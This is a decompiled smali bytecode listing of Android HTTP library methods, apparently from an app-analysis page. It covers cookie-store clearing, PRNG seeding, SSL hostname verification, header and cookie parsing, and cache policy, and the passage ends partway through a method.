        6iget-object v1, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookies:Ljava/util/concurrent/ConcurrentHashMap;
        8invoke-virtual {v1}, Ljava/util/concurrent/ConcurrentHashMap;->keySet()Ljava/util/Set;
        9move-result-object v1
        11invoke-interface {v1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        12move-result-object v1
        13goto_10:
        14invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
        15move-result v2
        16if-eqz v2, :cond_31
        18invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        19move-result-object v2
        20check-cast v2, Ljava/lang/String;
        21new-instance v3, Ljava/lang/StringBuilder;
        23invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        25const-string v4, "cookie_"
        27invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        29invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        31invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        32move-result-object v2
        34invoke-interface {v0, v2}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
        35goto/16 :goto_10
        36cond_31:
        37const-string v1, "names"
        39invoke-interface {v0, v1}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
        41invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
        43iget-object v0, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookies:Ljava/util/concurrent/ConcurrentHashMap;
        45invoke-virtual {v0}, Ljava/util/concurrent/ConcurrentHashMap;->clear()V
        46return-void
        Cross References
        APIs
        • java.io.ByteArrayOutputStream.<init>
        • java.io.DataOutputStream.<init>
        • java.lang.System.currentTimeMillis
        • java.io.DataOutputStream.writeLong
        • java.lang.System.nanoTime
        • java.io.DataOutputStream.writeLong
        • android.os.Process.myPid
        • java.io.DataOutputStream.writeInt
        • android.os.Process.myUid
        • java.io.DataOutputStream.writeInt
        • java.io.DataOutputStream.write
        • java.io.DataOutputStream.close
        • java.io.ByteArrayOutputStream.toByteArray
        • java.lang.SecurityException.<init>
        Strings
        • Failed to generate seed
        Position Instruction Meta Information
        0try_start_0: new-instance v0, Ljava/io/ByteArrayOutputStream;
        2invoke-direct {v0}, Ljava/io/ByteArrayOutputStream;-><init>()V
        3new-instance v1, Ljava/io/DataOutputStream;
        5invoke-direct {v1, v0}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
        7invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        8move-result-wide v2
        10invoke-virtual {v1, v2, v3}, Ljava/io/DataOutputStream;->writeLong(J)V
        12invoke-static {}, Ljava/lang/System;->nanoTime()J
        13move-result-wide v2
        15invoke-virtual {v1, v2, v3}, Ljava/io/DataOutputStream;->writeLong(J)V
        17invoke-static {}, Landroid/os/Process;->myPid()I
        18move-result v2
        20invoke-virtual {v1, v2}, Ljava/io/DataOutputStream;->writeInt(I)V
        22invoke-static {}, Landroid/os/Process;->myUid()I
        23move-result v2
        25invoke-virtual {v1, v2}, Ljava/io/DataOutputStream;->writeInt(I)V
        27sget-object v2, Lcz/msebera/android/httpclient/extras/PRNGFixes;->BUILD_FINGERPRINT_AND_DEVICE_SERIAL:[B
        29invoke-virtual {v1, v2}, Ljava/io/DataOutputStream;->write([B)V
        31invoke-virtual {v1}, Ljava/io/DataOutputStream;->close()V
        33invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
        34move-result-object v0
        35try_end_32: return-object v0
        36catch_33: move-exception v0
        37new-instance v1, Ljava/lang/SecurityException;
        39const-string v2, "Failed to generate seed"
        41invoke-direct {v1, v2, v0}, Ljava/lang/SecurityException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        42throw v1
        APIs
        • java.util.Arrays.sort
        Strings
        • ac
        • co
        • com
        • ed
        • edu
        • go
        • gouv
        • gov
        • info
        • lg
        • ne
        • net
        • or
        • org
        Position Instruction Meta Information
        1const-string v0, "ac"
        3const-string v1, "co"
        5const-string v2, "com"
        7const-string v3, "ed"
        9const-string v4, "edu"
        11const-string v5, "go"
        13const-string v6, "gouv"
        15const-string v7, "gov"
        17const-string v8, "info"
        19const-string v9, "lg"
        21const-string v10, "ne"
        23const-string v11, "net"
        25const-string v12, "or"
        27const-string v13, "org"
        28filled-new-array/range {v0 .. v13}, [Ljava/lang/String;
        29move-result-object v0
        30sput-object v0, Lcz/msebera/android/httpclient/conn/ssl/AbstractVerifier;->BAD_COUNTRY_2LDS:[Ljava/lang/String;
        32sget-object v0, Lcz/msebera/android/httpclient/conn/ssl/AbstractVerifier;->BAD_COUNTRY_2LDS:[Ljava/lang/String;
        34invoke-static {v0}, Ljava/util/Arrays;->sort([Ljava/lang/Object;)V
        35return-void
        APIs
        • java.util.concurrent.atomic.AtomicBoolean.get
        • java.util.concurrent.atomic.AtomicLong.incrementAndGet
        • java.lang.System.currentTimeMillis
        • java.util.concurrent.atomic.AtomicLong.decrementAndGet
        • java.lang.System.currentTimeMillis
        • java.util.concurrent.atomic.AtomicLong.decrementAndGet
        • java.lang.System.currentTimeMillis
        • java.util.concurrent.atomic.AtomicLong.decrementAndGet
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IllegalStateException.<init>
        Strings
        • call has been cancelled for request
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"()TV;"
        3}
        4.end annotation
        5.annotation system Ldalvik/annotation/Throws;
        6value = {
        7Ljava/lang/Exception;
        8}
        9.end annotation
        11iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->cancelled:Ljava/util/concurrent/atomic/AtomicBoolean;
        13invoke-virtual {v0}, Ljava/util/concurrent/atomic/AtomicBoolean;->get()Z
        14move-result v0
        15if-nez v0, :cond_a3
        16try_start_8:
        17iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->metrics:Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;
        19invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->getActiveConnections()Ljava/util/concurrent/atomic/AtomicLong;
        20move-result-object v0
        22invoke-virtual {v0}, Ljava/util/concurrent/atomic/AtomicLong;->incrementAndGet()J
        24invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        25move-result-wide v0
        26iput-wide v0, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->started:J
        27try_end_17:
        28iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->metrics:Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;
        30invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->getScheduledConnections()Ljava/util/concurrent/atomic/AtomicLong;
        31move-result-object v0
        33invoke-virtual {v0}, Ljava/util/concurrent/atomic/AtomicLong;->decrementAndGet()J
        35iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->httpclient:Lcz/msebera/android/httpclient/client/HttpClient;
        37iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->request:Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        39iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->responseHandler:Lcz/msebera/android/httpclient/client/ResponseHandler;
        41iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->context:Lcz/msebera/android/httpclient/protocol/HttpContext;
        43invoke-interface {v0, v1, v2, v3}, Lcz/msebera/android/httpclient/client/HttpClient;->execute(Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;Lcz/msebera/android/httpclient/client/ResponseHandler;Lcz/msebera/android/httpclient/protocol/HttpContext;)Ljava/lang/Object;
        44move-result-object v0
        46invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        47move-result-wide v1
        48iput-wide v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->ended:J
        50iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->metrics:Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;
        52invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->getSuccessfulConnections()Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;
        53move-result-object v1
        54iget-wide v2, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->started:J
        56invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;->increment(J)V
        58iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->callback:Lcz/msebera/android/httpclient/concurrent/FutureCallback;
        59if-eqz v1, :cond_46
        61iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->callback:Lcz/msebera/android/httpclient/concurrent/FutureCallback;
        63invoke-interface {v1, v0}, Lcz/msebera/android/httpclient/concurrent/FutureCallback;->completed(Ljava/lang/Object;)V
        64try_end_46:
        65iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->metrics:Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;
        67invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->getRequests()Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;
        68move-result-object v1
        69iget-wide v2, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->started:J
        71invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;->increment(J)V
        73iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->metrics:Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;
        75invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->getTasks()Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;
        76move-result-object v1
        77iget-wide v2, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->started:J
        79invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;->increment(J)V
        81iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->metrics:Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;
        83invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->getActiveConnections()Ljava/util/concurrent/atomic/AtomicLong;
        84move-result-object v1
        86invoke-virtual {v1}, Ljava/util/concurrent/atomic/AtomicLong;->decrementAndGet()J
        87return-object v0
        88catch_66: move-exception v0
        89try_start_67:
        90iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->metrics:Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;
        92invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->getFailedConnections()Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;
        93move-result-object v1
        94iget-wide v2, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->started:J
        96invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;->increment(J)V
        98invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        99move-result-wide v1
        100iput-wide v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->ended:J
        102iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->callback:Lcz/msebera/android/httpclient/concurrent/FutureCallback;
        103if-eqz v1, :cond_81
        105iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->callback:Lcz/msebera/android/httpclient/concurrent/FutureCallback;
        107invoke-interface {v1, v0}, Lcz/msebera/android/httpclient/concurrent/FutureCallback;->failed(Ljava/lang/Exception;)V
        108cond_81: throw v0
        109catchall_82: move-exception v0
        111iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->metrics:Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;
        113invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->getRequests()Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;
        114move-result-object v1
        115iget-wide v2, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->started:J
        117invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;->increment(J)V
        119iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->metrics:Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;
        121invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->getTasks()Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;
        122move-result-object v1
        123iget-wide v2, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->started:J
        125invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;->increment(J)V
        127iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->metrics:Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;
        129invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->getActiveConnections()Ljava/util/concurrent/atomic/AtomicLong;
        130move-result-object v1
        132invoke-virtual {v1}, Ljava/util/concurrent/atomic/AtomicLong;->decrementAndGet()J
        133throw v0
        134cond_a3: new-instance v0, Ljava/lang/IllegalStateException;
        135new-instance v1, Ljava/lang/StringBuilder;
        137invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        139const-string v2, "call has been cancelled for request "
        141invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        143iget-object v2, p0, Lcz/msebera/android/httpclient/impl/client/HttpRequestTaskCallable;->request:Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        145invoke-interface {v2}, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;->getURI()Ljava/net/URI;
        146move-result-object v2
        148invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        150invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        151move-result-object v1
        153invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
        154throw v0
        Cross References
        APIs
        • cz.msebera.android.httpclient.MessageConstraintException.<init>
        • java.util.List.add
        • java.util.List.size
        • cz.msebera.android.httpclient.MessageConstraintException.<init>
        • java.util.List.size
        • java.util.List.get
        • cz.msebera.android.httpclient.ParseException.getMessage
        • cz.msebera.android.httpclient.ProtocolException.<init>
        Strings
        • Session input buffer
        • Line parser
        • Header line list
        • Maximum line length limit exceeded
        • Maximum header count exceeded
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Lcz/msebera/android/httpclient/io/SessionInputBuffer;",
        4"II",
        5"Lcz/msebera/android/httpclient/message/LineParser;",
        6"Ljava/util/List<",
        7"Lcz/msebera/android/httpclient/util/CharArrayBuffer;",
        8">;)[",
        9"Lcz/msebera/android/httpclient/Header;"
        10}
        11.end annotation
        12.annotation system Ldalvik/annotation/Throws;
        13value = {
        14Lcz/msebera/android/httpclient/HttpException;,
        15Ljava/io/IOException;
        16}
        17.end annotation
        19const-string v0, "Session input buffer"
        21invoke-static {p0, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        23const-string v0, "Line parser"
        25invoke-static {p3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        27const-string v0, "Header line list"
        29invoke-static {p4, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        30const/4 v0, 0x0
        31move-object v1, v0
        32move-object v2, v1
        33goto_12: if-nez v1, :cond_1c
        34new-instance v1, Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        35const/16 v3, 0x40
        37invoke-direct {v1, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;-><init>(I)V
        38goto/16 :goto_1f
        39cond_1c:
        40invoke-virtual {v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->clear()V
        41goto_1f:
        42invoke-interface {p0, v1}, Lcz/msebera/android/httpclient/io/SessionInputBuffer;->readLine(Lcz/msebera/android/httpclient/util/CharArrayBuffer;)I
        43move-result v3
        44const/4 v4, -0x1
        45const/4 v5, 0x0
        46if-eq v3, v4, :cond_8d
        48invoke-virtual {v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        49move-result v3
        50const/4 v4, 0x1
        51if-ge v3, v4, :cond_2f
        52goto/16 :goto_8d
        53cond_2f:
        54invoke-virtual {v1, v5}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->charAt(I)C
        55move-result v3
        56const/16 v6, 0x9
        57const/16 v7, 0x20
        58if-eq v3, v7, :cond_3f
        60invoke-virtual {v1, v5}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->charAt(I)C
        61move-result v3
        62if-ne v3, v6, :cond_77
        63cond_3f: if-eqz v2, :cond_77
        64goto_41:
        65invoke-virtual {v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        66move-result v3
        67if-ge v5, v3, :cond_53
        69invoke-virtual {v1, v5}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->charAt(I)C
        70move-result v3
        71if-eq v3, v7, :cond_50
        72if-eq v3, v6, :cond_50
        73goto/16 :goto_53
        74cond_50: add-int/lit8 v5, v5, 0x1
        75goto/16 :goto_41
        76goto_53: if-lez p2, :cond_6b
        78invoke-virtual {v2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        79move-result v3
        80add-int/2addr v3, v4
        82invoke-virtual {v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        83move-result v4
        84add-int/2addr v3, v4
        85sub-int/2addr v3, v5
        86if-gt v3, p2, :cond_63
        87goto/16 :goto_6b
        88cond_63: new-instance p0, Lcz/msebera/android/httpclient/MessageConstraintException;
        90const-string p1, "Maximum line length limit exceeded"
        92invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/MessageConstraintException;-><init>(Ljava/lang/String;)V
        93throw p0
        94goto_6b:
        95invoke-virtual {v2, v7}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(C)V
        97invoke-virtual {v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        98move-result v3
        99sub-int/2addr v3, v5
        101invoke-virtual {v2, v1, v5, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Lcz/msebera/android/httpclient/util/CharArrayBuffer;II)V
        102goto/16 :goto_7c
        103cond_77:
        104invoke-interface {p4, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        105move-object v2, v1
        106move-object v1, v0
        107goto_7c: if-lez p1, :cond_12
        109invoke-interface {p4}, Ljava/util/List;->size()I
        110move-result v3
        111if-ge v3, p1, :cond_85
        112goto/16 :goto_12
        113cond_85: new-instance p0, Lcz/msebera/android/httpclient/MessageConstraintException;
        115const-string p1, "Maximum header count exceeded"
        117invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/MessageConstraintException;-><init>(Ljava/lang/String;)V
        118throw p0
        119goto_8d:
        120invoke-interface {p4}, Ljava/util/List;->size()I
        121move-result p0
        122new-array p0, p0, [Lcz/msebera/android/httpclient/Header;
        123goto_93:
        124invoke-interface {p4}, Ljava/util/List;->size()I
        125move-result p1
        126if-ge v5, p1, :cond_b3
        128invoke-interface {p4, v5}, Ljava/util/List;->get(I)Ljava/lang/Object;
        129move-result-object p1
        130check-cast p1, Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        131try_start_9f:
        132invoke-interface {p3, p1}, Lcz/msebera/android/httpclient/message/LineParser;->parseHeader(Lcz/msebera/android/httpclient/util/CharArrayBuffer;)Lcz/msebera/android/httpclient/Header;
        133move-result-object p1
        134aput-object p1, p0, v5
        135try_end_a5: add-int/lit8 v5, v5, 0x1
        136goto/16 :goto_93
        137catch_a8: move-exception p0
        138new-instance p1, Lcz/msebera/android/httpclient/ProtocolException;
        140invoke-virtual {p0}, Lcz/msebera/android/httpclient/ParseException;->getMessage()Ljava/lang/String;
        141move-result-object p0
        143invoke-direct {p1, p0}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        144throw p1
        145cond_b3: return-object p0
        Cross References
        APIs
        • java.util.ArrayList.<init>
        • java.lang.String.length
        • java.util.HashMap.<init>
        • java.lang.String.toLowerCase
        • java.util.Map.put
        • java.util.Map.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map$Entry.getValue
        • java.lang.String.toLowerCase
        • java.util.List.add
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.<init>
        Strings
        • Cookie name may not be empty
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"([",
        3"Lcz/msebera/android/httpclient/HeaderElement;",
        4"Lcz/msebera/android/httpclient/cookie/CookieOrigin;",
        5")",
        6"Ljava/util/List<",
        7"Lcz/msebera/android/httpclient/cookie/Cookie;",
        8">;"
        9}
        10.end annotation
        11.annotation system Ldalvik/annotation/Throws;
        12value = {
        13Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        14}
        15.end annotation
        16new-instance v0, Ljava/util/ArrayList;
        17array-length v1, p1
        19invoke-direct {v0, v1}, Ljava/util/ArrayList;-><init>(I)V
        20array-length v1, p1
        21const/4 v2, 0x0
        22const/4 v3, 0x0
        23goto_9: if-ge v3, v1, :cond_a4
        24aget-object v4, p1, v3
        26invoke-interface {v4}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        27move-result-object v5
        29invoke-interface {v4}, Lcz/msebera/android/httpclient/HeaderElement;->getValue()Ljava/lang/String;
        30move-result-object v6
        31if-eqz v5, :cond_9c
        33invoke-virtual {v5}, Ljava/lang/String;->length()I
        34move-result v7
        35if-eqz v7, :cond_9c
        36new-instance v7, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie2;
        38invoke-direct {v7, v5, v6}, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie2;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        40invoke-static {p2}, Lcz/msebera/android/httpclient/impl/cookie/RFC2965Spec;->getDefaultPath(Lcz/msebera/android/httpclient/cookie/CookieOrigin;)Ljava/lang/String;
        41move-result-object v5
        43invoke-virtual {v7, v5}, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie2;->setPath(Ljava/lang/String;)V
        45invoke-static {p2}, Lcz/msebera/android/httpclient/impl/cookie/RFC2965Spec;->getDefaultDomain(Lcz/msebera/android/httpclient/cookie/CookieOrigin;)Ljava/lang/String;
        46move-result-object v5
        48invoke-virtual {v7, v5}, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie2;->setDomain(Ljava/lang/String;)V
        49const/4 v5, 0x1
        50new-array v6, v5, [I
        52invoke-virtual {p2}, Lcz/msebera/android/httpclient/cookie/CookieOrigin;->getPort()I
        53move-result v8
        54aput v8, v6, v2
        56invoke-virtual {v7, v6}, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie2;->setPorts([I)V
        58invoke-interface {v4}, Lcz/msebera/android/httpclient/HeaderElement;->getParameters()[Lcz/msebera/android/httpclient/NameValuePair;
        59move-result-object v4
        60new-instance v6, Ljava/util/HashMap;
        61array-length v8, v4
        63invoke-direct {v6, v8}, Ljava/util/HashMap;-><init>(I)V
        64array-length v8, v4
        65sub-int/2addr v8, v5
        66goto_48: if-ltz v8, :cond_5c
        67aget-object v5, v4, v8
        69invoke-interface {v5}, Lcz/msebera/android/httpclient/NameValuePair;->getName()Ljava/lang/String;
        70move-result-object v9
        72sget-object v10, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        74invoke-virtual {v9, v10}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        75move-result-object v9
        77invoke-interface {v6, v9, v5}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        78add-int/lit8 v8, v8, -0x1
        79goto/16 :goto_48
        80cond_5c:
        81invoke-interface {v6}, Ljava/util/Map;->entrySet()Ljava/util/Set;
        82move-result-object v4
        84invoke-interface {v4}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        85move-result-object v4
        86goto_64:
        87invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
        88move-result v5
        89if-eqz v5, :cond_95
        91invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        92move-result-object v5
        93check-cast v5, Ljava/util/Map$Entry;
        95invoke-interface {v5}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        96move-result-object v5
        97check-cast v5, Lcz/msebera/android/httpclient/NameValuePair;
        99invoke-interface {v5}, Lcz/msebera/android/httpclient/NameValuePair;->getName()Ljava/lang/String;
        100move-result-object v6
        102sget-object v8, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        104invoke-virtual {v6, v8}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        105move-result-object v6
        107invoke-interface {v5}, Lcz/msebera/android/httpclient/NameValuePair;->getValue()Ljava/lang/String;
        108move-result-object v8
        110invoke-virtual {v7, v6, v8}, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie2;->setAttribute(Ljava/lang/String;Ljava/lang/String;)V
        112invoke-virtual {p0, v6}, Lcz/msebera/android/httpclient/impl/cookie/RFC2965Spec;->findAttribHandler(Ljava/lang/String;)Lcz/msebera/android/httpclient/cookie/CookieAttributeHandler;
        113move-result-object v6
        114if-eqz v6, :cond_64
        116invoke-interface {v5}, Lcz/msebera/android/httpclient/NameValuePair;->getValue()Ljava/lang/String;
        117move-result-object v5
        119invoke-interface {v6, v7, v5}, Lcz/msebera/android/httpclient/cookie/CookieAttributeHandler;->parse(Lcz/msebera/android/httpclient/cookie/SetCookie;Ljava/lang/String;)V
        120goto/16 :goto_64
        121cond_95:
        122invoke-interface {v0, v7}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        123add-int/lit8 v3, v3, 0x1
        124goto/16 :goto_9
        125cond_9c: new-instance p1, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        127const-string p2, "Cookie name may not be empty"
        129invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        130throw p1
        131cond_a4: return-object v0
        Cross References
        APIs
        • java.lang.String.equals
        • java.lang.String.equalsIgnoreCase
        Strings
        • non-HTTP/1.1 request was not serveable from cache
        • GET
        • non-GET request was not serveable from cache
        • Pragma
        • request with Pragma header was not serveable from cache
        • Cache-Control
        • no-store
        • Request with no-store was not serveable from cache
        • no-cache
        • Request with no-cache was not serveable from cache
        • Request was serveable from cache
        Position Instruction Meta Information
        1invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        2move-result-object v0
        4invoke-interface {v0}, Lcz/msebera/android/httpclient/RequestLine;->getMethod()Ljava/lang/String;
        5move-result-object v0
        7invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        8move-result-object v1
        10invoke-interface {v1}, Lcz/msebera/android/httpclient/RequestLine;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        11move-result-object v1
        13sget-object v2, Lcz/msebera/android/httpclient/HttpVersion;->HTTP_1_1:Lcz/msebera/android/httpclient/HttpVersion;
        15invoke-virtual {v2, v1}, Lcz/msebera/android/httpclient/HttpVersion;->compareToVersion(Lcz/msebera/android/httpclient/ProtocolVersion;)I
        16move-result v1
        17const/4 v2, 0x0
        18if-eqz v1, :cond_21
        20iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheableRequestPolicy;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        22const-string v0, "non-HTTP/1.1 request was not serveable from cache"
        24invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->trace(Ljava/lang/Object;)V
        25return v2
        26cond_21:
        27const-string v1, "GET"
        29invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        30move-result v0
        31if-nez v0, :cond_31
